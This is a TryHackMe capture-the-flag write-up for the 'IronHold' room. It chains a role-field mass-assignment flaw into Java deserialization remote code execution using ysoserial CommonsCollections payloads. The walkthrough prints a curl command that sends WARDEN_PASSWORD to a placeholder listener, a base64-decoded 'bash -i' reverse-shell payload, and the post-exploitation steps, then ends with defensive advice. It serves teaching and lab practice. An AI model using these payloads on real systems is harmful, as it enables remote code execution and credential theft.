Sitemap

IronHold — TryHackMe

12 min readSep 29, 2026

--

Press enter or click to view image in full size

Room overview

IronHold is presented as a correctional-facility management system with a staff login and several internal administration features.

From the observed HTTP responses and the supplied Maven build file, I could confirm the following:

  • The application is a Java web application.
  • It is built with Spring Boot 2.7.18.
  • It uses Spring MVC, Thymeleaf, Spring Data JPA, Actuator, Spring Security Crypto, and an H2 runtime database.
  • The build also includes the legacy commons-collections dependency in the 3.2x range.
  • The application targets Java 11.
  • The visible web interface includes staff login, dashboard, profile, staff administration, and import/export functionality.

The accessible pom.xml confirms the framework and dependency set. The Java controller implementations were not available to me through the shared source folder, so I do not claim that a specific annotation, controller method, or deserialization class was source-code verified.

The practical attack chain observed in the lab was:

  1. Enumerate the public login page and application behavior.
  2. Authenticate as a normal officer using lab credentials.
  3. Find a staff-management area exposed through the authenticated interface.
  4. Modify my own role from OFFICER to WARDEN through the profile update request.
  5. Access the administrative import/export functionality.
  6. Test the import parser with a serialized object payload.
  7. Confirm the import format by exporting a valid object and importing it again.
  8. Use the lab’s Java deserialization path to execute a controlled callback.
  9. Read environment values and the final flag from the container.

The supplied notes contain masked values for most flags. I preserve those masks rather than inventing missing flag text.

Let’s go find out flags:

Enumeration and initial access

For the command examples below, the following attachment marker points back to the original command notes:

Set the target variable

export T=http://10.49.146.191:8080

I stored the lab target in the T environment variable. This keeps later commands shorter and makes it easier to replace the address when restarting the room.

The address is a private TryHackMe lab IP. It is not a public production host.

Request the home page

curl -i — max-time 10 “$T/”

The -i option includes response headers, while — max-time 10 prevents the request from waiting indefinitely.

The response was a successful HTTP/1.1 200 and set a JSESSIONID cookie:

HTTP/1.1 200
Set-Cookie: JSESSIONID=YOUR_ID; Path=/; HttpOnly
Content-Type: text/html;charset=UTF-8
Content-Language: en-US

The page title identified the application as Ironhold Correctional | Staff Login. The HTML also showed a POST form at /login and links to /about and /status.

The HttpOnly attribute is a useful defensive setting because it prevents ordinary JavaScript from reading the session cookie. It does not, by itself, prevent server-side session attacks or authorization problems.

Remove any old cookie file

rm -f cookies.txt

I removed any existing cookie file so that the next login would start with a clean session. This is a small but important habit during web testing: stale cookies can make results confusing.

Submit the lab login form

curl -i -c cookies.txt -b cookies.txt -L \\
d ‘username=j.reyes’ \\
— data-urlencode ‘password=IronholdStaff2026!’ \\
“$T/login”

This request submits the login form as the lab user j.reyes.

  • c cookies.txt saves cookies received from the server.
  • b cookies.txt sends cookies already stored in that file.
  • L follows redirects.
  • d sends the username as form data.
  • - -data-urlencode safely URL-encodes the password value.

The server returned a redirect to /dashboard and issued a new session:

HTTP/1.1 302
Set-Cookie: JSESSIONID=80F5099CCDC179CED2BB0D565A11E4DC; Path=/; HttpOnly
Location: <http://10.49.146.191:8080/dashboard;jsessionid=80F5099CCDC179CED2BB0D565A11E4DC>

After following the redirect, the page showed Officer J. Reyes with the role OFFICER.

The lab notes include a staff password in this command. Treat it as disposable training data. It should never be reused for a real account.

Save the authenticated dashboard

curl -i -b cookies.txt “$T/dashboard” -o dashboard.html

This request sends the saved session cookie and writes the dashboard response to dashboard.html. Saving pages locally makes it easier to search for notices, links, and accidental disclosures.

Search the dashboard for useful terms

grep -inE ‘flag|notice|kiosk|ironhold\\{‘ dashboard.html

The options mean:

  • i: ignore letter case.
  • n: show line numbers.
  • E: use an extended regular expression.

The dashboard contained a shift-handover notice mentioning a shared kiosk account. It also exposed the first lab flag in the notice:

Flag: THM{********}

This was a good example of why authenticated content deserves the same attention as unauthenticated content. The login page itself did not reveal this information, but the dashboard did.

Finding the role modification weakness

The dashboard navigation included an Admin Panel link. As an officer, I first checked the staff listing.

Request the staff administration page

curl -sS -b cookies.txt “$T/admin/staff” | grep -iE ‘warden|kiosk|j.reyes|m.chen’

The -sS combination keeps normal progress output quiet but still shows errors. The response was filtered for usernames and role-related entries.

The staff page exposed records for accounts including:

  • kiosk
  • warden
  • j.reyes
  • m.chen

The important question was not simply whether the page existed. It was whether the server actually enforced the displayed role before allowing sensitive operations.

Submit a profile update with a changed role

curl -i -b cookies.txt -c cookies.txt \\
--X POST “$T/profile/update” \\
-- data-urlencode 'fullName=Officer J. Reyes' \\
-- data-urlencode 'email=j.reyes@ironhold.example' \\
-- data-urlencode 'badgeNumber=O-104' \\
-- data-urlencode 'role=WARDEN'

This request is the key authorization test. The form includes a role field, so I checked whether the server trusted the client-provided value instead of assigning the role from a protected server-side rule.

The server accepted the request and redirected back to /profile:

HTTP/1.1 302
Location: <http://10.49.146.191:8080/profile>
Content-Language: en-US

The behavior indicates an insecure role modification or mass-assignment-style authorization flaw. A normal officer should not be able to promote the account by changing a form field.

The notes do not include the source controller, so the exact implementation mechanism remains unverified. The observed behavior is enough to document the vulnerability in the lab, but it is more precise to say “the role value was accepted from the request” than to claim a particular Spring binding annotation.

Verify the changed role in staff administration

curl -i -b cookies.txt “$T/admin/staff”

The staff administration page now showed j.reyes as a WARDEN:

<td>j.reyes</td>
<td>Officer J. Reyes</td>
<td>O-104</td>
<td><span class="badge warden">WARDEN</span></td>

This confirmed that the role change was not only reflected in the profile page. It affected authorization state used by the administration area.

Inspect the warden record

curl -sS -b cookies.txt “$T/admin/staff/2” -o warden.html

I saved the warden record to a local file for review.

Search the record for account fields

grep -iE ‘username|password|email|badge|role|flag’ warden.html

The record showed the warden username, email, badge, and role, but no password:

Username: warden
Email: e.castellan@ironhold.example
Badge: W-001
Role: WARDEN

This distinction matters. Discovering an account identifier is not the same as recovering authentication material. In this room, the useful path was the authorization flaw — not password guessing.

Understanding the Java deserialization path

The shared pom.xml confirmed two important facts:

<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.7.18</version>
</parent>
<properties>
<java.version>11</java.version>
</properties>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>[3.2,3.2.2)</version>
</dependency>

The dependency list is consistent with a Java application that may be exposed to classic Java serialization gadget chains. However, a dependency alone does not prove a deserialization vulnerability. The vulnerable behavior comes from how the application reads and processes attacker-controlled bytes.

In this lab, the behavior was observable through /admin/import and /admin/export:

  • /admin/export returned a base64-encoded serialized object.
  • /admin/import accepted base64 text and reconstructed an object.
  • The import response named the class it accepted.

The Java source tree was not available for direct inspection through the shared folder, so the exact deserialization call is not source-code verified here. The conclusion below is based on the command output and endpoint behavior recorded in the notes.

Download the lab serialization helper

wget -O ysoserial-all.jar \\
<https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar>

The command downloads the ysoserial release into a file named ysoserial-all.jar.

This tool is being used only for the authorized lab. Its purpose here is to generate test data for the vulnerable application’s import parser. It should not be used against systems without permission.

Define a lab-only callback command

CMD=’curl -sS -X POST — data-binary “$(printenv WARDEN_PASSWORD)” [http://USE_YOUR_IP:8000/'](http://use_your_ip:8000/%27)

The callback command reads the WARDEN_PASSWORD environment variable inside the lab container and sends it to a listener controlled by the tester.

USE_YOUR_IP is intentionally a placeholder. It must refer only to the tester’s own lab listener. The command is not a general-purpose attack instruction and should never be pointed at a third party.

Generate a serialized test payload

java \\
— add-opens java.base/sun.reflect.annotation=ALL-UNNAMED \\
- add-opens java.base/java.util=ALL-UNNAMED \\
- add-opens java.base/java.lang=ALL-UNNAMED \\
- add-opens java.base/java.lang.reflect=ALL-UNNAMED \\
- jar ysoserial-all.jar CommonsCollections1 "$CMD" \\
| base64 -w0 > payload.b64

This command asks ysoserial to create a CommonsCollections1 serialized object and then base64-encodes the binary output into payload.b64.

The add-opens flags are Java module options that allow the helper to access selected internal packages under the lab’s Java runtime. They are a compatibility detail for the payload generator, not a fix for the server-side issue.

Check the generated file

ls -lh payload.b64

The notes showed a payload of about 2 KB. This confirms that the generator produced output, but it does not prove that the target will accept or execute it.

Get Fuad Hasan’s stories in your inbox

Join Medium for free to get updates from this writer.

Submit the generated payload

curl -i -b cookies.txt \\
-- X POST “$T/admin/import” \\
-- H ‘Content-Type: text/plain’ \\
-- data-binary @payload.b64

The request sends the base64 payload as plain text to the administrative import endpoint.

The server rejected it:

HTTP/1.1 500
Content-Type: text/plain;charset=UTF-8

Import failed: batch could not be read.

This failure was useful. It showed that the endpoint was parsing a structured serialized format, but the first generated object did not match the application’s expected format or processing path.

Confirming the expected import format

Export a valid object from the application

curl -sS -b cookies.txt “$T/admin/export” -o export.b64

Instead of guessing the expected format, I asked the application to export one of its own valid objects.

Check the export size

wc -c export.b64

The export was 324 bytes. Size alone is not a security test, but it confirms that the endpoint returned a compact base64 representation.

Inspect the beginning of the export

head -c 40 export.b64; echo

The notes showed the text:

SHOW YOUR COOKIE

That output is part of the room’s challenge behavior. It also reinforces that the export endpoint is not returning ordinary JSON or a normal HTML document.

Re-import the application’s own export

curl -i -b cookies.txt \\
-- X POST “$T/admin/import” \\
-- H ‘Content-Type: text/plain’ \\
-- data-binary @export.b64

This time the server accepted the data:

HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8

Batch accepted: ImportManifest

This was the important format-validation step. It demonstrated that the endpoint accepts a serialized ImportManifest object and that the earlier failure was caused by an incompatible object, not by a closed endpoint.

A secure application should not deserialize untrusted data merely because it is base64-encoded. Base64 is an encoding, not a security boundary.

Validating code execution in the lab

Start a lab-only listener

nc -lvnp 8000

This starts a TCP listener on port 8000. The listener is controlled by the tester and is used only to observe the callback from the TryHackMe target.

The notes recorded a connection from the target:

connect to [192.168.162.72] from (UNKNOWN) [10.49.146.191] 41492
POST / HTTP/1.1
Host: 192.168.162.72:8000
User-Agent: curl/7.81.0
The request body included environment values from the lab container, including:
HOSTNAME=f62a3262ffed
JAVA_HOME=/opt/java/openjdk
PWD=/app
WARDEN_PASSWORD=[lab-only value]
KIOSK_PW=[lab-only value]
JAVA_VERSION=jdk-11.0.31+11

The original notes contain the actual lab-only values. I do not reproduce them here because they are not needed to understand the vulnerability.

The callback confirmed that the server processed the serialized object in a way that reached command execution. In a real application, this would be a critical remote-code-execution condition.

Building the second-stage shell payload

The first callback demonstrated command execution, but I wanted a more interactive shell for post-exploitation enumeration inside the room.

Generate the shell payload

java \\
-- add-opens java.base/java.util=ALL-UNNAMED \\
-- jar ysoserial-all.jar CommonsCollections6 \\
'bash -c {echo,YOUR_COOKIE}|{base64,-d}|{bash,-i}’ \\
> shell.bin

This generates a CommonsCollections6 serialized object whose command decodes a supplied shell string and starts it. YOUR_COOKIE is a placeholder from the notes and represents the tester’s lab callback data.

The exact gadget chain is less important than the security lesson: when an application reconstructs attacker-controlled Java objects, a gadget chain may turn object creation into command execution.

Base64-encode the binary object

base64 -w0 shell.bin > shell.b64

The import endpoint expects text, so I encoded the binary serialized object into a single base64 line.

Check both payload files

ls -lh shell.bin shell.b64

The notes showed the binary object and its base64 representation. This is a basic sanity check before sending data to the lab application.

Submit the second-stage object

curl -i -b cookies.txt \\
-- X POST “<http://10.49.146.191:8080/admin/import>" \\
-- H ‘Content-Type: text/plain’ \\
-- data-binary @shell.b64

The server accepted the object:

HTTP/1.1 200
Content-Type: text/plain;charset=UTF-8

Batch accepted: HashSet

The response naming HashSet was another clue that the import path was reconstructing Java collection objects rather than parsing a safe data format such as JSON.

Receive the lab shell

nc -lvnp 8000
The listener received a shell from the target container:
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
appuser@f62a3262ffed:/app$

This was a non-interactive shell, so job control was unavailable. That is normal for a simple callback and was sufficient for the room’s file and environment enumeration.

Post-exploitation enumeration inside the lab container

Search environment variables for challenge data

env | grep -iE ‘flag|secret|gate|door’

The command lists environment variables and filters for likely challenge terms. The container exposed several masked flag variables:

FLAG3_SECRET=THM{**********}
FLAG2_SECRET=THM{***********}
FLAG1_SECRET=THM{************}

The notes contained masked values, so I keep them masked rather than filling in missing characters.

List the application directory

ls

The working directory contained:

app.jar
docker-entrypoint.sh

The application was running from /app as the lower-privileged appuser account.

Show permissions and file sizes

ls -la

The output showed that app.jar and the entrypoint script were owned by appuser. This did not immediately provide a host-level privilege escalation path, so I continued looking through the container filesystem.

Move to the filesystem root

cd ..

I moved from /app to the filesystem root to inspect top-level directories.

List the root directory

ls -la

The root listing showed a dedicated /opt directory and confirmed the container layout.

Enter /opt

cd opt

The /opt directory is commonly used for application-specific files. In this room it contained an ironhold directory as well as the Java runtime.

List /opt

ls

The output included:

ironhold
java

Enter the application-specific directory

cd ironhold

I entered the directory that appeared to be dedicated to the IronHold challenge files.

List the directory contents

ls

The directory contained a file named flag.txt.

Read the final lab flag

cat flag.txt

The command returned the final flag in the notes as a masked value:

THM{*************}

That completed the room’s observed attack chain.

Press enter or click to view image in full size

What made the chain work?

The room combined multiple weaknesses rather than relying on one isolated bug.

1. Client-controlled authorization data

The profile update accepted a role value supplied by the client. A secure design would never allow a normal officer to choose a privileged role through a form field.

The server should enforce role changes through a dedicated, privileged workflow. It should also allow-list updateable fields instead of binding every request parameter directly to a user object.

2. Sensitive administration exposed after the role change

Once the role changed to WARDEN, the same session could access staff administration and import/export functionality. This shows why authorization must be checked on every sensitive endpoint, not only on the navigation page.

Hiding an admin link is not access control.

3. Unsafe deserialization

The import endpoint reconstructed Java objects from client-controlled data. The use of base64 did not make the data safe. It only changed the representation.

The safer choices would be:

  • Use a strict data-transfer format such as JSON.
  • Define a small schema and validate every field.
  • Reject unexpected properties and types.
  • Never deserialize arbitrary Java objects from untrusted input.
  • Apply allow-list filters if legacy serialization cannot immediately be removed.
  • Remove unnecessary gadget-producing dependencies.

4. Secrets stored in the environment

The callback exposed challenge values through environment variables. In production, passwords and secrets should not be broadly available to application processes unless required.

Secrets should be managed through a dedicated secrets-management system, rotated regularly, and prevented from appearing in logs or diagnostic output.

Defensive takeaways for developers

A safer implementation would address the chain at several layers:

  1. Protect role fields. Do not bind role, isAdmin, permissions, or similar fields from ordinary profile forms.
  2. Authorize server-side. Check the authenticated principal and required permission at every admin endpoint.
  3. Remove native Java deserialization. Prefer JSON or another schema-validated format.
  4. Constrain object types. If serialization is unavoidable, use strict allow-lists and a modern filtering strategy.
  5. Review dependencies. Remove old gadget-friendly libraries where they are not needed and keep dependencies patched.
  6. Protect secrets. Avoid placing high-value credentials in broadly readable environment variables.
  7. Log and alert on role changes. A sudden officer-to-warden change should be visible and ideally require an explicit privileged approval.
  8. Test the full workflow. Authorization testing must include direct requests, not only visible UI controls.

Thanks to all. See you soon!

--

--

Differences give birth to new things

See more from me